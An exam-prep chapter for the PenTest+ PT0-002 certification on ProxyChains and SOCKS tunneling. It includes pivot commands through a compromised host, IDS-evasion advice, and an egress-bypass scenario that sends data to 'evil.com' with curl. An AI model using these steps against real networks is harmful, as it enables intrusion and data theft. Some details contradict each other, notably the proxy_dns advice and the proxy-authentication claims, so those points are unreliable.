This chapter covers ProxyChains and SOCKS tunneling, a critical tool for penetration testers to route traffic through multiple proxies and evade detection. For the PT0-002 exam, this topic appears under Objective 5.1 (Tools and Scripts) and is tested in approximately 3-5% of questions, often in scenario-based items where you must select the appropriate tool for anonymizing or pivoting traffic. Understanding the mechanics of ProxyChains, SOCKS protocol versions, and chain configuration is essential for both the exam and real-world engagements.
Jump to a section
Imagine a corporate office building with a single public reception desk. Every employee (application) that wants to communicate with the outside world must go through this desk. The receptionist (ProxyChains) doesn't just forward calls directly; instead, she routes them through a series of intermediate call centers (SOCKS proxies). When an employee makes a call, the receptionist notes the employee's extension and the destination number, then dials the first call center. That center dials the second, and so on, until the final call center connects to the actual destination. Each intermediate center only knows the previous and next center, not the original employee. When the response comes back, it travels the same chain in reverse. The receptionist ensures that every call from that employee follows the same chain, and if any center fails, she can reroute through an alternate path. This way, the employee's true extension is never revealed, and the call appears to originate from the last call center. The receptionist also handles different call types (TCP vs UDP) by selecting appropriate routing rules. This is exactly how ProxyChains works: it intercepts network calls from applications, routes them through a chain of SOCKS proxies, and ensures anonymity by obscuring the original source IP. The chain length and proxy types are configurable, and the tool can handle both TCP and UDP traffic with specific settings.
What is ProxyChains and Why It Exists
ProxyChains is a tool that forces any TCP connection made by a given application to go through a chain of one or more SOCKS or HTTP proxies. It is primarily used to anonymize traffic, bypass network restrictions, and pivot through multiple hosts during penetration testing. Unlike a system-wide VPN, ProxyChains works on a per-application basis, intercepting network calls made by programs like nmap, curl, or ssh and redirecting them through a user-defined chain of proxies.
The tool is essential in penetration testing when you need to:
Hide the source IP address of scanning or exploitation tools.
Bypass IP-based access controls or geolocation restrictions.
Pivot through a compromised host to reach an internal network.
Evade intrusion detection systems (IDS) by distributing traffic across multiple proxies.
ProxyChains supports SOCKS4, SOCKS5, and HTTP CONNECT proxies. SOCKS5 is the most versatile, supporting authentication, UDP, and IPv6. The tool is open-source and widely available on Linux distributions.
How ProxyChains Works Internally
ProxyChains operates by preloading a shared library (libproxychains.so) that hooks into the connect(), sendto(), and recvfrom() system calls. When a target application attempts to create a TCP socket and connect to a remote host, the hooked connect() function intercepts the call. Instead of allowing a direct connection, ProxyChains reads the proxy chain from its configuration file (/etc/proxychains.conf or ~/.proxychains/proxychains.conf) and sequentially connects through each proxy in the chain.
The chain mechanism works as follows:
1. The application calls connect(sockfd, dest_addr, addrlen).
2. The hooked function extracts the destination IP and port.
3. It reads the proxy list from the config file.
4. It opens a TCP connection to the first proxy in the chain (e.g., a SOCKS5 proxy at 10.0.0.1:1080).
5. It performs the SOCKS handshake: authentication (if required) and a request to connect to the next proxy (or the final destination if this is the last proxy).
6. For a chain, the first proxy then connects to the second proxy, and so on, until the final proxy connects to the actual destination.
7. Data from the application is then relayed through this chain.
This process is transparent to the application; it believes it is communicating directly with the final destination. However, the source IP seen by the destination will be that of the last proxy in the chain.
ProxyChains Configuration and Chain Types
The configuration file is divided into sections:
- [ProxyList]: Lists the proxies in the chain, one per line, in the order they will be used.
- [DynamicChain]: Allows the chain to skip dead proxies and continue with the next alive one.
- [StrictChain]: Enforces that every proxy in the chain must be used; if one fails, the connection fails.
- [RoundRobin]: Cycles through multiple proxies in a round-robin fashion for each connection.
- [RandomChain]: Randomly selects proxies from the list for each connection.
Default values:
Default proxy type is SOCKS4 if not specified.
Default port for SOCKS proxies is 1080.
The configuration file typically includes strict_chain and proxy_dns options.
Example configuration:
[ProxyList]
socks5 192.168.1.100 1080
socks4 10.0.0.50 1080
http 172.16.0.10 3128ProxyChains Command Usage
Basic syntax:
proxychains4 <command> [args]For example, to run nmap through a proxy chain:
proxychains4 nmap -sT -Pn 192.168.1.1Important flags:
- -f: Read config from a custom file.
- -q: Quiet mode, less output.
- -d: Debug mode, shows detailed proxy negotiation.
SOCKS Protocol Versions
SOCKS4: Supports TCP connections only. No authentication. The client sends a CONNECT request with the destination IP and port. The proxy responds with a success/failure code.
SOCKS5 (RFC 1928): Supports TCP and UDP. Supports authentication methods (no auth, username/password, GSSAPI). The handshake includes: 1. Client sends a list of supported authentication methods. 2. Server selects one. 3. Client authenticates (if required). 4. Client sends a request (CONNECT, BIND, or UDP ASSOCIATE) with destination address (IPv4, IPv6, or domain name) and port. 5. Server responds with a reply code and the bound address.
ProxyChains can use SOCKS5 proxies with authentication by specifying socks5 user:pass@ip port in the config.
How ProxyChains Interacts with Other Technologies
Nmap: Nmap's raw packet scans (SYN scan, etc.) do not work through ProxyChains because they require raw socket access, which ProxyChains cannot intercept. Only TCP connect scans (-sT) work reliably. UDP scans may work with SOCKS5 but are unreliable.
SSH: SSH can be tunneled through ProxyChains, but it adds latency. Often, it's better to use SSH's built-in SOCKS proxy (-D option) or netcat with proxy.
Web browsers: ProxyChains can force a browser to use a proxy chain, but browsers often have their own proxy settings that may conflict. Using proxychains firefox works if the browser's direct connection is used.
Metasploit: Metasploit's proxychains module can route exploit traffic through a proxy chain.
Common Issues and Troubleshooting
DNS leaks: By default, ProxyChains resolves DNS through the proxy chain if proxy_dns is enabled. If disabled, DNS queries may leak the real IP.
UDP traffic: UDP support requires SOCKS5 and may not work with all proxies. Many UDP applications (e.g., DNS) have their own mechanisms and may not use connect() syscall.
Chain failures: If a proxy in a strict chain goes down, the entire connection fails. Dynamic chains skip dead proxies.
Timeout: ProxyChains has a default timeout of 10 seconds for each proxy connection, configurable via tcp_read_time_out and tcp_connect_time_out in the config.
Performance Considerations
Each additional proxy in the chain adds latency (typically 10-100ms per hop). Long chains (more than 3-4 proxies) can make connections slow and unreliable. The exam may ask about the trade-off between anonymity and performance.
Security Implications
ProxyChains does not encrypt traffic between proxies unless the proxy itself uses TLS (e.g., SOCKS5 over TLS). Traffic is visible to each proxy operator. For true anonymity, combine ProxyChains with Tor or use SSH tunnels as proxies.
Install and Configure ProxyChains
On Debian/Ubuntu, install with `apt install proxychains4`. On RHEL/CentOS, use `yum install proxychains-ng` or compile from source. The main config file is `/etc/proxychains.conf`. Edit the `[ProxyList]` section to add your proxies. Each line has format: `type host port [user pass]`. For example: `socks5 192.168.1.10 1080`. Ensure `strict_chain` is set to `true` for deterministic behavior, or `dynamic_chain` for fault tolerance. Also enable `proxy_dns` to prevent DNS leaks. Verify configuration with `proxychains4 curl ifconfig.me` to see the IP of the last proxy.
Test Basic TCP Connection Through Proxy
Use a simple TCP client like `curl` to test: `proxychains4 curl -v http://example.com`. The `-v` flag shows verbose output including the proxy negotiation. If successful, you'll see the request go through the chain. Check the source IP on the target server by using a service like `ifconfig.me` or `httpbin.org/ip`. If the chain fails, check proxy reachability with `nc -zv proxy_ip port` and verify authentication credentials if required. ProxyChains outputs debug info when run with `-d`.
Run Nmap Through ProxyChains
Nmap must use TCP connect scan (`-sT`) because SYN scan requires raw packets. Example: `proxychains4 nmap -sT -Pn -p 80,443 10.0.0.1`. The `-Pn` skips host discovery (ICMP may not work through proxies). Expect slower scans due to proxy latency. Nmap's timing options (`-T1` to `-T5`) can be adjusted. Note that UDP scans (`-sU`) may partially work with SOCKS5 but are unreliable. Always test with a single port before full scan.
Pivot Through a Compromised Host
On a compromised host, set up a SOCKS proxy using SSH: `ssh -D 1080 user@victim`. This creates a local SOCKS5 proxy on port 1080 that tunnels through SSH. On your attacker machine, configure ProxyChains to use this proxy as the first hop. Then run `proxychains4 nmap -sT -Pn internal_target` to scan the internal network. Ensure the SSH connection remains active. For multiple hops, chain multiple SOCKS proxies by adding them to the ProxyList. Each proxy must be reachable from the previous one.
Debug and Verify Chain Integrity
Use `proxychains4 -d curl http://example.com` to see detailed proxy negotiation steps. Check that each proxy connects successfully. If a proxy fails, the chain may fall back (if dynamic) or abort (if strict). Verify DNS resolution is going through the chain by checking that DNS queries are not sent directly. Use `tcpdump` on the attacker machine to observe that no direct connections to the target are made. If you see direct connections, disable `proxy_dns` or recheck configuration.
Enterprise Scenario 1: Red Team Anonymization
A red team is contracted to assess the security of a multinational corporation. The team needs to scan the corporation's external web servers without revealing their own IP addresses. They set up a chain of three SOCKS5 proxies: a residential proxy in a different country, a cloud VPS in another region, and a Tor exit node. Using ProxyChains, they run nmap -sT -Pn against the target. The chain ensures that the source IP seen by the target is the Tor exit node, which changes every few minutes. The red team must ensure that all proxies are reliable and that the chain does not break mid-scan. They configure dynamic_chain to skip any dead proxies. They also enable proxy_dns to prevent DNS queries from leaking the real IP. Performance is slow due to Tor latency, so they limit scans to common ports. Misconfiguration: if one proxy goes down and dynamic chain is not enabled, the entire scan fails. They monitor the chain with a script that tests connectivity before starting.
Enterprise Scenario 2: Pivoting Through a Compromised DMZ Host
During an internal penetration test, an attacker gains a foothold on a web server in the DMZ. The internal network (10.0.0.0/8) is not directly accessible from the attacker's machine. They install an SSH server on the compromised host and create a SOCKS5 tunnel: ssh -D 1080 -N -f user@dmz-host. Back on the attacker machine, they configure ProxyChains to use socks5 127.0.0.1 1080. They then run proxychains4 nmap -sT -Pn 10.0.0.0/8 to scan the internal network. The scan reveals a domain controller at 10.0.0.10. They then use proxychains4 smbclient -L //10.0.0.10 to enumerate shares. The chain works because all traffic is tunneled through the DMZ host. Common pitfall: if the SSH tunnel uses port 1080 locally, ensure no other service uses that port. Also, the DMZ host must have outbound connectivity to the internal network; otherwise, the scan fails.
Enterprise Scenario 3: Bypassing Egress Filtering
A penetration tester is inside a corporate network with strict egress filtering that blocks outbound connections except on ports 80 and 443. They need to exfiltrate data to an external server. They set up a SOCKS5 proxy on an external VPS listening on port 443 (using stunnel for TLS wrapping). On the internal machine, they configure ProxyChains to use socks5 external-vps 443. They then run proxychains4 curl https://evil.com/data to send data. The proxy connection on port 443 mimics HTTPS traffic, bypassing the firewall. If the firewall does deep packet inspection, they may need to use HTTP CONNECT proxy instead. Misconfiguration: if the external proxy requires authentication and credentials are wrong, the chain fails silently. They test with a simple HTTP request first.
What PT0-002 Tests on ProxyChains and SOCKS Tunneling
Under Objective 5.1 (Tools and Scripts), the exam expects you to:
Identify ProxyChains as a tool for routing traffic through multiple proxies.
Understand the difference between SOCKS4, SOCKS5, and HTTP proxies.
Know that ProxyChains works only with TCP connect scans (not SYN scans) when used with Nmap.
Recognize that proxychains can be used to pivot through a compromised host.
Be able to configure a proxy chain in the config file.
Understand the purpose of proxy_dns to prevent DNS leaks.
Common Wrong Answers and Why Candidates Choose Them
"ProxyChains can be used with Nmap SYN scan." This is wrong because SYN scan requires raw socket access, which ProxyChains cannot intercept. Candidates assume all Nmap scans work because they see examples with -sT. The exam explicitly tests this distinction.
"ProxyChains encrypts traffic between proxies." Wrong. ProxyChains does not provide encryption; it only routes traffic. If encryption is needed, use SSH or TLS proxies. Candidates confuse routing with encryption.
"ProxyChains can chain HTTP and SOCKS proxies in any order." While technically true, the order matters: the chain is sequential. A common wrong answer is that HTTP proxies can be placed after SOCKS5 proxies without issue, but some implementations may have compatibility issues. The exam tests that SOCKS5 is the most versatile.
"ProxyChains works with all UDP traffic." Only SOCKS5 supports UDP, and even then, many UDP applications do not use the connect() syscall. DNS queries are handled via proxy_dns option, not via the SOCKS UDP ASSOCIATE method. Candidates overestimate UDP support.
Specific Numbers and Terms
Default SOCKS port: 1080.
Default timeout: 10 seconds for TCP connect and read.
Chain types: strict, dynamic, round_robin, random.
Configuration file paths: /etc/proxychains.conf or ~/.proxychains/proxychains.conf.
Command: proxychains4 (or proxychains on older versions).
The exam may ask: "Which type of proxy supports UDP?" Answer: SOCKS5.
Edge Cases and Exceptions
DNS leaks: If proxy_dns is disabled, DNS queries go directly, revealing the real IP. The exam may present a scenario where DNS queries are not routed through the chain.
IPv6: SOCKS5 supports IPv6, but ProxyChains may not handle it correctly if the proxy doesn't support it.
Authentication: SOCKS5 supports username/password authentication. The exam may ask how to specify credentials: socks5 user:pass@host port.
Chain failure: With strict_chain, if any proxy fails, the entire connection fails. With dynamic_chain, dead proxies are skipped. The exam may test which chain type is best for reliability.
How to Eliminate Wrong Answers
If the question involves Nmap, look for the scan type. If it says SYN scan or stealth scan, ProxyChains is not the answer unless they specifically mention TCP connect scan.
If the question mentions encryption, the answer is not ProxyChains alone; it would be SSH tunneling or VPN.
If the question involves UDP, ensure the proxy type is SOCKS5; if not, the answer is likely wrong.
If the question asks about the source IP seen by the target, it is the IP of the last proxy in the chain.
ProxyChains forces TCP connections through a chain of SOCKS/HTTP proxies by hooking the connect() syscall.
Only TCP connect scans (-sT) work with Nmap through ProxyChains; SYN scans (-sS) fail.
SOCKS5 supports UDP, authentication, and IPv6; SOCKS4 supports only TCP without authentication.
Default SOCKS port is 1080; default timeouts are 10 seconds for connect and read.
Chain types: strict (all must work), dynamic (skip dead), round_robin, random.
Enable proxy_dns to prevent DNS leaks; otherwise DNS queries go directly.
ProxyChains does not encrypt traffic; use SSH or TLS proxies for encryption.
The source IP seen by the target is the IP of the last proxy in the chain.
These come up on the exam all the time. Here's how to tell them apart.
ProxyChains
Supports chaining multiple proxies of different types (SOCKS4, SOCKS5, HTTP).
Works with any application that uses TCP connect().
Does not provide encryption between proxies.
Configuration via text file; no authentication required for proxies.
Can use dynamic chain to skip dead proxies.
SSH Dynamic Port Forwarding
Creates a single SOCKS5 proxy on localhost via SSH tunnel.
Encrypts traffic between client and SSH server.
Only one proxy hop (the SSH server).
Requires SSH credentials and server setup.
If SSH connection drops, proxy fails.
ProxyChains (TCP)
Works with TCP connect scan (-sT).
Relies on complete TCP handshake through proxies.
Slower due to proxy overhead.
Compatible with most proxy types.
Can be used for service enumeration.
Proxychains with Nmap SYN scan
SYN scan (-sS) does not work with ProxyChains.
Requires raw socket privileges.
Faster because it doesn't complete the handshake.
Cannot be routed through ProxyChains.
Often blocked by IDS/IPS.
Mistake
ProxyChains can route all types of network traffic, including raw packets.
Correct
ProxyChains only intercepts TCP connections that use the `connect()` syscall. It cannot handle raw sockets, ICMP, or UDP traffic unless the application uses `connect()` for UDP (rare). Nmap SYN scans fail because they use raw sockets.
Mistake
ProxyChains encrypts traffic end-to-end.
Correct
ProxyChains does not encrypt traffic. It only forwards TCP streams through proxies. If encryption is needed, you must use proxies that support TLS (e.g., SOCKS5 over TLS) or tunnel through SSH.
Mistake
Using more proxies always increases anonymity.
Correct
While more proxies can obscure the source IP, each additional proxy adds latency and potential points of failure. Also, if any proxy logs traffic, your data may be compromised. The exam may test that a balance between anonymity and performance is needed.
Mistake
ProxyChains works with any application without modification.
Correct
Only applications that use dynamic linking and call `connect()` are intercepted. Statically linked binaries or applications that bypass the libc socket functions (e.g., some custom tools) may not work. Also, applications that use their own proxy settings (like browsers) may conflict.
Mistake
HTTP proxies are the same as SOCKS proxies for tunneling.
Correct
HTTP CONNECT proxies only support TCP connections and are typically used for HTTPS. SOCKS5 supports TCP, UDP, and authentication. SOCKS4 supports only TCP without authentication. The exam may ask which protocol is most versatile.
Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.
Nmap SYN scan sends raw IP packets with the SYN flag set, which requires raw socket access. ProxyChains only intercepts the `connect()` system call used by TCP sockets. Therefore, only TCP connect scans (`-sT`) work because they use the standard Berkeley sockets API to complete a full TCP handshake. The exam often tests this distinction: if a question asks about scanning through ProxyChains, the correct scan type is `-sT`.
In the `[ProxyList]` section of the config file, use the format: `socks5 username:password@proxy_ip proxy_port`. For example: `socks5 user:pass@192.168.1.100 1080`. ProxyChains will perform SOCKS5 username/password authentication during the handshake. If authentication fails, the connection fails. You can test with `proxychains4 curl -v http://example.com`.
Yes, but only with SOCKS5 proxies that support UDP ASSOCIATE. However, many UDP applications do not use the `connect()` syscall, so they may not be intercepted. DNS queries are handled separately via the `proxy_dns` option. For general UDP traffic, it's unreliable. The exam may note that SOCKS5 supports UDP but with limitations.
`strict_chain` requires all proxies in the list to be used in order; if any proxy fails, the entire connection fails. `dynamic_chain` allows ProxyChains to skip dead proxies and continue with the next alive one. Dynamic chains are more fault-tolerant but may change the source IP if a proxy is skipped. The exam may ask which chain type is best for reliability.
Set `proxy_dns = on` in the configuration file. This forces DNS queries to be resolved through the proxy chain, preventing the real IP from being exposed via direct DNS requests. If `proxy_dns` is off, DNS queries go directly to the configured DNS server, leaking the true source IP. The exam may test this as a common misconfiguration.
Yes, Metasploit has a `proxychains` module that can route exploit traffic through a proxy chain. However, not all exploits work because some require raw sockets or specific network conditions. The exam may mention this as a valid use case for pivoting.
The default system-wide config is `/etc/proxychains.conf`. A user-specific config can be placed at `~/.proxychains/proxychains.conf`. You can also specify a custom config with the `-f` flag. The exam may ask about file paths.
You've just covered ProxyChains and SOCKS Tunneling — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.
Done with this chapter?